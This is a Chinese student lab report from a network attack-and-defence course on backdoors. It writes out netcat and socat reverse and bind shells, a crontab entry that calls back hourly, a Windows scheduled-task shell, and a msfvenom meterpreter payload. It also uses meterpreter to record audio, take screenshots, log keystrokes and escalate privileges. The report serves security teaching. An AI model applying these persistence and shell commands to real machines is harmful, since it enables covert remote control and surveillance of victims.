2018-2019-2 网络对抗技术 20165236 Exp2 后门原理与实践

2018-2019-2 网络对抗技术 20165236 Exp2 后门原理与实践

一、实验内容 （3.5分）

(1)使用netcat获取主机操作Shell，cron启动 (0.5分)

(2)使用socat获取主机操作Shell, 任务计划启动 (0.5分)

(3)使用MSF meterpreter（或其他软件）生成可执行文件，利用ncat或socat传送到主机并运行获取主机Shell(0.5分)

(4)使用MSF meterpreter（或其他软件）生成获取目标主机音频、摄像头、击键记录等内容，并尝试提权 (2分)

(5)可选加分内容：使用MSF生成shellcode,注入到实践1中的pwn1中，获取反弹连接Shell(1分）加分内容一并写入本实验报告。

基础问题回答

(1)例举你能想到的一个后门进入到你系统中的可能方式？

答：在一些网站下载应用程序时，该应用程序可能绑定了一些可执行文件，留下后门。

(2)例举你知道的后门如何启动起来(win及linux)的方式？

答：Linux可以通过crontab功能将木马设为定时启动或通过对正常软件的绑定注入shellcode达到开启后门的目的。

(3)Meterpreter有哪些给你映像深刻的功能？

答：植入后门实施远程控制、metsvc后渗透攻击模块等等。

(4)如何发现自己有系统有没有被安装后门？

答：查看是否有IP与本机建立连接；安装专门的杀毒软件，定期检测电脑安全情况等等。

二、实验具体步骤

实验一

任务一 使用netcat获取主机操作Shell

1、在Windows下打开命令行，查看Windows的ip地址为：

2、使用ncat.exe程序打开监听ncat.exe -l -p 5236:

3、在kali中反弹连接Windows,nc 172.30.0.142 5236 -e /bin/sh:

4、Windows成功获得kali的shell，如图所示：

任务二  Linux获得Windows Shell

1、在Kali环境中使用ifconfig查看ip:

2、使用nc指令监听5236端口：

3、在Windows中反弹连接kali，输入ncat.exe -e cmd.exe 172.30.5.29 5236，

4、kali成功获得Windows的命令提示，输入Windows命令：

任务三  使用nc传输数据

1、Windows下监听5236端口：

2、Kali下连接到Windows的5236端口，nc 192.168.43.44 5236，

3、建立连接，传输数据，但这个过程中我遇到了点问题如下,但是查阅相关资料后目前还未解决：

实验二

任务一  使用netcat获取主机操作Shell，cron启动

1、在Windows系统下，监听5236端口：

2、用crontab -e指令编辑一条定时任务，选择编辑器选择3，在底行插入04 * * * * /bin/netcat 172.30.0.142 5236 -e /bin/sh，

意思是每个小时的第4分钟反向连接Windows的5236端口：

3、保存退出后输入crontab -l 即可查看：

4、在系统时间到第4分钟，就会在Windows中监听的cmd中发现获得Linux shell：

任务二 使用socat获取主机操作Shell, 任务计划启动

1、控制面板中打开系统与安全，选择任务计划程序并创建任务，

2、常规中填写任务名称学号：20165236，新建触发器 ，选择：工作站锁定时：

3、点击操作，在程序或脚本中选择socat.exe文件的路径，在添加参数一栏填写tcp-listen:5236 exec:cmd.exe,pty,stderr：

4、创建完成之后，按Windows+L锁定计算机，再次打开，之前创建的任务已经开始运行：

5、在Kali-Linux中输入指令socat - tcp:172.30.0.142:5236：

任务三：使用MSF meterpreter生成可执行文件，利用ncat或socat传送到主机并运行获取主机Shell

1、在kali中输入：msfvenom -p windows/meterpreter/reverse_tcp LHOST=172.30.0.142 LPORT=5236 -f exe > 20165236_backdoor.exe，

生成后门程序：

2、在Windows中输入：nc.exe -l 5236 > 20165236_backdoor.exe ：

3、Linux中执行nc 172.30.0.142 5236 < backdoor.exe，注意这里的IP为被控主机IP，即WindowsIP，

4、在Windows的ncat文件夹下查看后门程序，如图所示，文件传输成功：

5、在Kali中打开一个终端，使用msfconsole指令进入msf控制台：

6、接着输入use exploit/multi/handler使用监听模块，设置payload；

7、set payload windows/meterpreter/reverse_tcp，使用和生成后门程序时相同的payload

8、set LHOST 172.30.0.142，这里用的是LinuxIP，和生成后门程序时指定的IP相同；

9、set LPORT 5236，同样要使用相同的端口：

这里出了点问题，目前尚未解决：

任务四  

使用MSF meterpreter（或其他软件）生成获取目标主机音频、摄像头、击键记录等内容，并尝试提权

1、使用record_mic指令可以截获一段音频，可以用-d选项设置录制时间:

2、 使用screenshot指令可以进行截屏：

3、使用keyscan_start指令开始记录下击键的过程，使用keyscan_dump指令读取击键的记录

4、使用getuid指令查看当前用户，或getsystem指令进行提权等等：

三、实验过程中遇到的问题

1、如图所示：

询问同学后得知解决方法为：双击后再运行。

2、在Kali中使用msfconsole指令进入msf控制台后，出现如下界面：

原因是后台程序过多，内存不够；

解决方法：关闭虚拟机，将内存调高后重启虚拟机。

四、实验体会

本次实验为网络对抗第二次实验，相对于第一次实验内容较多，过程也较为复杂。其中也出现许多新的知识，以及许多我不太懂的地方。

在询问老师同学和查阅资料后这些问题也一一解决了，并且顺利完成了本次实验。虽然实验过程中存在许多困难，但我依然从中收获了许多新知识。